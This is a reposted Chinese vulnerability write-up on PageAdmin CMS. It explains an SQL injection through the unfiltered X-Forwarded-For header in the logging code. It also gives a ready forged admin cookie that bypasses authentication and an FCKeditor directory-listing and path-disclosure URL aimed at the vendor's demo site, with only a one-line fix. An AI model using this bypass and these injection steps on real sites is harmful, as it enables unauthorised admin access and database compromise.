来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] PageAdmin CMS最新版SQL注入系统保存日志功能,没有过滤IP,导致了SQL注入漏洞 PageAdmin Logpublic void Save(int SiteId, int IsMaster, string thetype, int state, string username, string...
PageAdmin CMS最新版SQL注入 系统保存日志功能,没有过滤IP,导致了SQL注入漏洞 // PageAdmin.Log public void Save(int SiteId, int IsMaster, string thetype, int state, string username, string description) { string clientIP = this.GetClientIP(); Conn conn = new Conn(); string connectionString = conn.Constr(); OleDbConnection oleDbConnection = new OleDbConnection(connectionString); oleDbConnection.Open(); string cmdText = string.Concat(new object[] { "insert into pa_log([site_id],[task_id],[ismaster],[state],[thetype],[username],[url],[description],[ip],[thedate]) values(", SiteId, ",0,", IsMaster, ",", state, ",'", this.f(thetype), "','", this.f(username), "','", HttpContext.Current.Request.RawUrl, "','", this.f(description), "','", clientIP, "','", DateTime.Now, "')" }); OleDbCommand oleDbCommand = new OleDbCommand(cmdText, oleDbConnection); oleDbCommand.ExecuteNonQuery(); oleDbConnection.Close(); } // PageAdmin.Log private string GetClientIP() { string result; if (HttpContext.Current == null) { result = "127.0.0.1"; } else { HttpRequest request = HttpContext.Current.Request; string text = request.ServerVariables["HTTP_X_FORWARDED_FOR"]; if (string.IsNullOrEmpty(text)) { text = request.ServerVariables["REMOTE_ADDR"]; } if (string.IsNullOrEmpty(text)) { text = request.UserHostAddress; } result = text; } return result; } 可以看出IP是从HTTP_X_FORWARDED_FOR获取的,没有任何过滤,直接就插入到了数据库。 因为要用报错的方法注入,access版无法注入,SQL SERVER才行。 这个函数大多是是在对网站修改时才会调用,后台登陆刚好调用了这个函数 有些网站把后台登陆地址改掉了,这里我们可以用一种方法来找出来,用fckeditor列目录漏洞,列出来,漏洞文件是 /e/incs/fckeditor/editor/filemanager/connectors/aspx/connector.aspx 这里和2.x版本的漏洞差不多,只检测了Cookie,代码过长就不贴了 它检测了Master是否存在,然后检测Master[UID]是不是存在,然后根据UID来查询用户表,如果查到了用户,就检测是不是admin组的,如果是,就把UID对应用户的最后登录时间用她自带的Md5函数加密,和Master[Valicate]做比较,相同就能绕过,但是这里有个问题,如果UID是不存在的,他就会用空字符串""来和Master[Valicate]做比较,所以只要我们提交一个不存在的UID,再用Md5加密""作为Master[Valicate]的值,就可以绕过这里的验证。
利用下面这个aspx计算出加密后的字符串是17b62103fec08a1333215b141bb18217f11c8e13a <% @ Page language="c#"%> <% @ Import NameSpace="System.Data"%> <% @ Import NameSpace="System.Data.OleDb"%> <% @ Import NameSpace="PageAdmin"%> <script Language="C#" Runat="server"> protected void Page_Load(Object sender,EventArgs e) { Response.Write(new Md5().Get_Md5("")); } </script> 最后用Cookie: Master=1&UID=9999&Valicate=17b62103fec08a1333215b141bb18217f11c8e13a就能绕过了。 fckeditor.net版大都有遍历目录的漏洞,就是把当前目录设置成d:/,就能查看d盘的文件
如果没权限查看磁盘根目录,也可以把当前目录改成!,让他报错,就能知道网站路径。 http://demo.pageadmin.net/e/incs/fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=!
这样就找到了网站后台路径,然后登陆后台,用burp修改X-Forwarded-For头来进行注入。 设置HTTP头
修复方案:用session |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com